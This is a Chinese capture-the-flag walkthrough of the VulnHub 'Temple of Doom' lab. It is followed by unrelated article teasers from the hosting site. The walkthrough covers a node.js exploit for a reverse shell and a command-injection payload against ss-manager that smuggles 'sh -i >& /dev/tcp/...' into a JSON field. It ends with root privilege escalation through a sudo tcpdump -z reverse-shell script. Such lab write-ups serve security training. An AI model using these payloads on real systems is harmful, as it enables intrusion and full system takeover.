Temple of Doom靶场nodejs获取shellss-manager漏洞tcpdump提权

下载链接:

Temple of Doom: 1 ~ VulnHub
下载完成后直接在vxbox中导入即可,网络链接模式根据自身情况而定(我采用的桥接模式)

正文:

先用nmap进行扫描靶机ip

nmap -sn 192.168.1.1/24



对192.168.1.5进行端口探测,并将结果保存到Temple文件夹下命名为port

nmap -p- 192.168.1.5 -r -PN -oA Temple/port


(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

nmap -p 22,666 192.168.1.5 -sC -sV -r -O --version-all -A -oA Temple/server

 (-p:对指定的端口进行探测

   -sV:版本信息

   -sC:默认脚本扫描

    -A:启动Os检测,版本检测,脚本扫描和traceroute

   -O:探测操作系统信息

   --version-all:尽可能多的探测信息)

   我们发现并没有80端口
   但是666端口为http服务,并且是node.js(java运行环境)
   对666端口进行访问

   除了这个就没有其他提示
   使用bp抓包看能不能有发现

   发现给到的cookie可能有猫腻(进行了加密)
   将cookie进行base64解码

   得到信息:
   {"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}
   该数据目前来说并没有多大作用


   获取shell


  根据nmap结果 在kali中搜索nodejs漏洞,看有没有可以用来利用的poc
  

 searchsploit nodejs


   符合我们要求的就是这个49552.py,将该文件复制出来,并进行查看
   

searchsploit nodejs -m 49552


   

cat 49552.py


  对该exp进行修改
   

vim 49552.py


   将url改为靶场host,并将反弹shell改为kali机的ip以及端口
   保存退出
  新建窗口,并对修改后的端口进行监听(我这里改为了8080)

 nc -lvvp 8080

  python2 49552.py #python3运行会因为兼容问题报错


  回到nc监听窗口,反弹shell成功
  查找具有suid权限的文件,看能否进行提权
 

 find / -perm -u=s -type f 2>/dev/null


  经过一番查看以及对计划任务查看,并没有我们可以利用的东西
  但是我们在家目录发现了另一个用户
  我们查看下该用户的进程有没有可以利用的东西


  提权

ps aux | grep fireman


  经过查询,该文件为多用户管理面板,并且有任意代码执行漏洞
  详情可以看这篇文章【漏洞预警】 SHADOWSOCKS-LIBEV 命令执行漏洞|NOSEC安全讯息平台 - 白帽汇安全研究院
  
 在当前shell中 用nc监听本地的8839端口(UDP)(不是返回到kali新窗口中)

nc -u 127.0.0.1 8839


使用一下命令进行尝试看是否生效,该命令如果执行成功会在/tmp目录下创建evil文件

add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}




命令执行成功
因为该文件(ss-manager)为fireman用户所有,所以我们可以利用该漏洞再次进行反弹shell操作
这样我们就可以获取到fireman用户

更改代码后方的创建文件命令替换为反弹shell命令进行尝试
在kali中打开新窗口进行监听(未被占用的端口)

nc -lvvp 7789


在刚才的shell窗口输入

add: {"server_port":8003, "password":"test", "method":"||sh -i >& /dev/tcp/192.168.1.4/7789 0>&1||"}


(不要忘记该代码后的 “ || ”)
反弹成功,并且用户为fireman
查看可以root权限运行的文件(之前用户并不具有该权限)

sudo -l



发现该文件具有tcpdump权限(可以在该网站中查询使用方法以及其他命令的提权方式。包括但不仅限于suid、sudoGTFOBins)
根据内容我们来进行提权($符号为变量符号,需要我们根据自己的需求进行更改)
该提权方法同样也是通过反弹shell进行提权
先在文件中写入反弹shell(同样需要一个未被占用的端口进行监听)
将文件写入到/tmp目录下(该目录下通常权限较高)

echo "sh -i >& /dev/tcp/192.168.1.4/2233 0>&1" > /tmp/shell.sh


并给该文件运行权限

chmod +x shell.sh


利用tcpdump文件进行运行(需要提前打开nc对2233端口进行监听)

nc -lvvp 2233



我们需要对提供的命令进行小幅度修改

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root


改为

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root


(解释:网络接口 (`-i`参数):第一个命令(`sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root`)使用的是`lo`(本地回环)网络接口进行数据包捕获,而第二个命令(sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root)使用的是`eth0`网络接口进行数据包捕获。`eth0`一般是指物理网卡接口,而`lo`是指本地回环接口,用于本地通信)
所以我们采用修改后的命令

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root


提权成功

用修改前的命令同样可以提权成功,但是原理比较复杂
同样打开nc监听2233端口

nc -lvvp 2233


打开fireman窗口,这次我们输入第一条命令

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root


此时两个窗口都没有反应,返回到我们最初的用户窗口
即该窗口,我们可以看到当我们使用ss-manager文件进行反弹shell时并没有返回”ok“,然后我们需要将fireman的shell断开(ctrl+c),,该位置才会返回”ok“
此时,我们再返回到最后的监听窗口会发现反弹shell成功
具体的原理我还是跟模糊,希望有大佬可以解答一下,我个人猜测应该是我们第一次反弹fireman用户的shell时没有断开就再次利用该用户反弹root的shell会造成一个占用吧.....所以nc会一直进行监听,但是fireman用户因为是占用状态所以没有办法进行反弹(个人猜测,希望大佬指正!)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/490772.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解决华为云服务器宝塔面板无法访问显示“此站点的连接不安全”问题

已经配置好安全组以及初始化宝塔面板,还是无法访问镜像管理页面,提示此站点的连接不安全。 解决方案 将地址https改为http即可进入。 成功登录后,开启面板SSL即可。

商家店铺如何批量抓取淘宝、天猫、1688主图视频并下载保存

当前,大多的平台商品越来越多都有主图视频、评论视频、详情视频、然而,在一定程度上就意味着,这也是引流渠道的一步重要环节,如果自己的店铺商品没有相应的主图视频,很可以会严重流失客源。小编就为大家来介绍批量抓取…

图解MySQL目录

资料来源 : 小林coding 小林官方网站 : 小林coding (xiaolincoding.com) 一 .图解MySQL介绍 重点突击 MySQL 索引、事务、锁、日志等面试常问知识。 二 . 基础篇 执行一条 select 语句,期间发生了什么? : 执行一条 select 语句,期间发生了什…

3.26学习总结java初步实现学生管理系统

(该项目通过视频讲解过程中完成,其中将一些操作进行了修改和完善,其目的是为了巩固前面学习java的一些用法,熟悉写项目的过程) 一.项目要求 学生类: 属性:id、姓名、年龄、家庭住址 添加功能: 键盘录入每一个学生信息并添加,需要满足以下要求: ID唯一 删除功能…

mmocr安装和使用

https://github.com/open-mmlab/mmocr/blob/main/README_zh-CN.md https://mmocr.readthedocs.io/en/dev-1.x/get_started/quick_run.html 介绍 MMOCR 是基于 PyTorch 和 mmdetection 的开源工具箱,专注于文本检测,文本识别以及相应的下游任务&#xf…

window平台C#实现软件更新功能

一 实现程序更新思路 程序实现自我升级,一般有两种方式: 1. 独立的更新程序 开发一个独立的更新程序如Update.exe,用于检查主程序是否有新版本,并下载和安装新版本。 实现步骤: 主程序启动完后,调用一下…

C++引用学习day2

思维导图 定义一个矩形类(Rectangle),包含私有成员:长(length)、宽(width), 定义成员函数: 设置长度:void set_l(int l) 设置宽度:void set_w(int w) 获取长度&#…

Vue 2 组件发布到 npm 的常见问题解决

按照 Vue 2 组件打包并发布到 npm 的方法配置项目后,项目在实际开发过程中,随着代码写法的多样性增加而遇到的各种打包问题,本文将予以逐一解决: 本文目录 同时导出多个组件 样式表 import 问题解决 Json 文件 import 问题解决…

Java 面试宝典:什么是可见性?volatile 是如何保证可见性的?

大家好,我是大明哥,一个专注「死磕 Java」系列创作的硬核程序员。 本文已收录到我的技术网站:https://skjava.com。有全网最优质的系列文章、Java 全栈技术文档以及大厂完整面经 什么是可见性? 可见性是指一个线程对共享变量所作…

C语言例4-5:getchar()函数的调用格式和使用的例子

代码如下&#xff1a; //getchar()函数的调用格式和使用的例子 #include<stdio.h> //编译预处理命令&#xff0c;即文件包含命令 int main(void) {char ch1, ch2;int a;ch1 getchar(); //从键盘输入一个字符并赋予字符型变量ch1ch2 getchar(); //从键盘输入一个…

基于Java实验室预约管理系统设计与实现(源码+部署文档)

博主介绍&#xff1a; ✌至今服务客户已经1000、专注于Java技术领域、项目定制、技术答疑、开发工具、毕业项目实战 ✌ &#x1f345; 文末获取源码联系 &#x1f345; &#x1f447;&#x1f3fb; 精彩专栏 推荐订阅 &#x1f447;&#x1f3fb; 不然下次找不到 Java项目精品实…

C语言例4-20:从键盘输入年和月,输出该月的天数。

代码如下&#xff1a; //从键盘输入年和月&#xff0c;输出该月的天数。 #include<stdio.h> int main(void) {int year, month, days;printf("输入年和月&#xff1f;\n");scanf("%d,%d",&year,&month); //从键盘输入年和月switch(month)…

本地大模型(免安装绿色版)

上一篇文章我们讨论了如何在本地运行大模型 。 安装本地大模型 大部分软件都需要安装&#xff0c;今天是免安装绿色版。 很多人下载不了原版&#xff0c;所以我放百度网盘了。 下载 下载&#xff1a;llava-1.5大模型(7b参数,流量警告:4G) 运行&#xff1a;.\llava-v1.5-7b-…

codeforces round.906 - E - Mirror Grid (数学,坐标变换)

You are given a square grid with n rows and n columns. Each cell contains either 0 0 0 or 1 1 1. In an operation, you can select a cell of the grid and flip it (from 0 → 1 0→1 0→1 or 1 → 0 1→0 1→0). Find the minimum number of operations you need…

TSINGSEE青犀智慧充电桩消防安全烟雾火焰AI算法识别预警方案

一、方案背景 随着AI人工智能、大数据、云计算等技术快速发展与落地&#xff0c;视频智能分析技术在智慧充电桩场景中的应用也越来越广泛。这种技术能够为充电桩站点提供全方位的监控和管理&#xff0c;提高运营效率&#xff0c;保障充电站设备的安全和稳定运行。 通过TSINGS…

第四百二十六回

文章目录 1. 概念介绍2. 实现方法2.1 原生方式2.1 插件方式 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何修改程序的桌面图标"相关的内容&#xff0c;本章回中将介绍如何处理ListView中的事件冲突.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介…

Web APIs知识点讲解(阶段三)

DOM- 节点操作 一.节点操作 1.DOM节点 目标&#xff1a;能说出DOM节点的类型 DOM节点 DOM树里每一个内容都称之为节点 节点类型 元素节点 所有的标签 比如 body、 div html 是根节点 属性节点 所有的属性 比如 href 文本节点 所有的文本 document树&#xff1a; 总结&…

你敢信?苹果iPhone 16将搭载百度AI文心一言

【行业焦点】苹果公司&#xff0c;这位全球消费电子舞台的常青树&#xff0c;近期传出一则震撼业界的消息&#xff1a;其将在新一代iPhone 16系列中国版产品中&#xff0c;深度融合百度的尖端生成式AI技术。这一重大决策不仅揭示了苹果对中国市场的深度耕耘与本地化创新战略&am…

Java Web-Maven

Maven是apache旗下的一个开源项目&#xff0c;是一款用于管理和构建java项目的工具 Maven的作用 1.依赖管理:方便快捷的管理项目依赖资源(jar包)&#xff0c;避免版本冲突问题 我们有的项目需要大量的jar包&#xff0c;采用手动导包的方式非常繁琐&#xff0c;并且版本升级也…

elasticsearch _cat/indices docs.count is different than <index>/_count

今天遇到一个问题&#xff0c;kibana中看到文档数与下面语句查询到的不同 GET /_cat/count/jiankunking_xxxxx_product_expand_test?v GET /jiankunking_xxxxx_product_expand_test/_search?track_total_hitstrue语句查询结果 epoch timestamp count 1711433785 06:16…